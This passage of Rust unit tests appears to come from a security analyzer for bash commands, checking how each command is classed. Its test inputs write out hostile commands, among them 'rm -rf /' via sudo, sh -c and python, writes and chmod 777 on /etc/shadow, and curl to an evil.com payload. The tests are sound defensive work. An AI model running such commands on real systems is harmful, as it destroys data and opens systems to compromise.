1276 .any(|w| w.kind == BashWarningKind::RedirectToSensitivePath));
1277 }
1278
1279 #[test]
1280 fn test_redirect_append_sensitive_path() {
1281 let analysis = analyze_command("echo data >> /etc/shadow");
1282 assert_eq!(analysis.verdict, BashVerdict::Deny);
1283 assert!(analysis
1284 .warnings
1285 .iter()
1286 .any(|w| w.kind == BashWarningKind::RedirectToSensitivePath));
1287 }
1288
1289 #[test]
1290 fn test_redirect_safe_path() {
1291 let analysis = analyze_command("echo hello > /tmp/output.txt");
1292 assert_eq!(analysis.verdict, BashVerdict::Safe);
1293 assert!(!analysis
1294 .warnings
1295 .iter()
1296 .any(|w| w.kind == BashWarningKind::RedirectToSensitivePath));
1297 }
1298
1299 #[test]
1302 fn test_variable_as_command() {
1303 let analysis = analyze_command("$cmd arg1 arg2");
1304 assert_eq!(analysis.verdict, BashVerdict::Deny);
1305 assert!(analysis
1306 .warnings
1307 .iter()
1308 .any(|w| w.kind == BashWarningKind::VariableAsCommand));
1309 }
1310
1311 #[test]
1312 fn test_braced_variable_as_command() {
1313 let analysis = analyze_command("${cmd} arg1");
1314 assert_eq!(analysis.verdict, BashVerdict::Deny);
1315 assert!(analysis
1316 .warnings
1317 .iter()
1318 .any(|w| w.kind == BashWarningKind::VariableAsCommand));
1319 }
1320
1321 #[test]
1324 fn test_suspicious_python_eval() {
1325 let analysis = analyze_command("python -c 'import os; os.system(\"rm -rf /\")'");
1326 assert!(analysis
1327 .warnings
1328 .iter()
1329 .any(|w| w.kind == BashWarningKind::SuspiciousArguments));
1330 assert!(analysis.is_dangerous());
1331 }
1332
1333 #[test]
1334 fn test_suspicious_python_dash_e() {
1335 let analysis = analyze_command("python -e 'print(1)'");
1336 assert!(analysis
1337 .warnings
1338 .iter()
1339 .any(|w| w.kind == BashWarningKind::SuspiciousArguments));
1340 }
1341
1342 #[test]
1343 fn test_suspicious_shell_dash_c() {
1344 let analysis = analyze_command("sh -c 'rm -rf /'");
1345 assert!(analysis
1346 .warnings
1347 .iter()
1348 .any(|w| w.kind == BashWarningKind::SuspiciousArguments));
1349 }
1350
1351 #[test]
1352 fn test_suspicious_find_exec() {
1353 let analysis = analyze_command("find / -exec rm {} \\;");
1354 assert!(analysis
1355 .warnings
1356 .iter()
1357 .any(|w| w.kind == BashWarningKind::SuspiciousArguments));
1358 }
1359
1360 #[test]
1363 fn test_network_command_curl() {
1364 let analysis = analyze_command("curl http://evil.com/payload");
1365 assert!(analysis
1366 .warnings
1367 .iter()
1368 .any(|w| w.kind == BashWarningKind::NetworkCommand));
1369 assert!(analysis.is_dangerous());
1370 }
1371
1372 #[test]
1373 fn test_network_command_wget() {
1374 let analysis = analyze_command("wget http://example.com/file");
1375 assert!(analysis
1376 .warnings
1377 .iter()
1378 .any(|w| w.kind == BashWarningKind::NetworkCommand));
1379 }
1380
1381 #[test]
1382 fn test_network_command_ssh() {
1383 let analysis = analyze_command("ssh user@host");
1384 assert!(analysis
1385 .warnings
1386 .iter()
1387 .any(|w| w.kind == BashWarningKind::NetworkCommand));
1388 }
1389
1390 #[test]
1393 fn test_privilege_escalation_sudo() {
1394 let analysis = analyze_command("sudo rm -rf /");
1395 assert!(analysis
1396 .warnings
1397 .iter()
1398 .any(|w| w.kind == BashWarningKind::PrivilegeEscalation));
1399 assert!(analysis.is_dangerous());
1400 }
1401
1402 #[test]
1403 fn test_privilege_escalation_su() {
1404 let analysis = analyze_command("su - root");
1405 assert!(analysis
1406 .warnings
1407 .iter()
1408 .any(|w| w.kind == BashWarningKind::PrivilegeEscalation));
1409 }
1410
1411 #[test]
1412 fn test_privilege_escalation_doas() {
1413 let analysis = analyze_command("doas ls /root");
1414 assert!(analysis
1415 .warnings
1416 .iter()
1417 .any(|w| w.kind == BashWarningKind::PrivilegeEscalation));
1418 }
1419
1420 #[test]
1423 fn test_permission_modification() {
1424 let analysis = analyze_command("chmod 777 /etc/shadow");
1425 assert!(analysis
1426 .warnings
1427 .iter()
1428 .any(|w| w.kind == BashWarningKind::PermissionModification));
1429 assert!(analysis.is_dangerous());
1430 }
1431
1432 #[test]
1433 fn test_permission_modification_safe_path() {
1434 let analysis = analyze_command("chmod 755 /tmp/script.sh");
1435 assert!(!analysis
1437 .warnings
1438 .iter()
1439 .any(|w| w.kind == BashWarningKind::PermissionModification));
1440 }
1441
1442 #[test]
1443 fn test_chown_sensitive() {
1444 let analysis = analyze_command("chown root:root /etc/passwd");
1445 assert!(analysis
1446 .warnings
1447 .iter()
1448 .any(|w| w.kind == BashWarningKind::PermissionModification));
1449 }
1450
1451 #[test]
1454 fn test_analysis_budget_not_exceeded() {
1455 let analysis = analyze_command("ls -la");
1456 assert_eq!(analysis.verdict, BashVerdict::Safe);
1457 assert!(analysis.analysis_time_ms < 100);
1458 assert!(analysis.node_count < 1000);
1459 }
1460
1461 #[test]
1464 fn test_heredoc_with_expansion() {
1465 let analysis = analyze_command("cat << EOF\n$(dangerous)\nEOF");
1466 assert!(analysis
1467 .warnings
1468 .iter()
1469 .any(|w| w.kind == BashWarningKind::HeredocExpansion));
1470 assert!(analysis.is_dangerous());
1471 }
1472
1473 #[test]
1474 fn test_heredoc_with_variable_expansion() {
1475 let analysis = analyze_command("cat << EOF\n$HOME\nEOF");
1476 assert!(analysis
1477 .warnings
1478 .iter()
1479 .any(|w| w.kind == BashWarningKind::HeredocExpansion));
1480 }
1481
1482 #[test]
1483 fn test_heredoc_without_expansion() {
1484 let analysis = analyze_command("cat << 'EOF'\nhello world\nEOF");
1485 assert!(!analysis
1487 .warnings
1488 .iter()
1489 .any(|w| w.kind == BashWarningKind::HeredocExpansion));
1490 }
1491}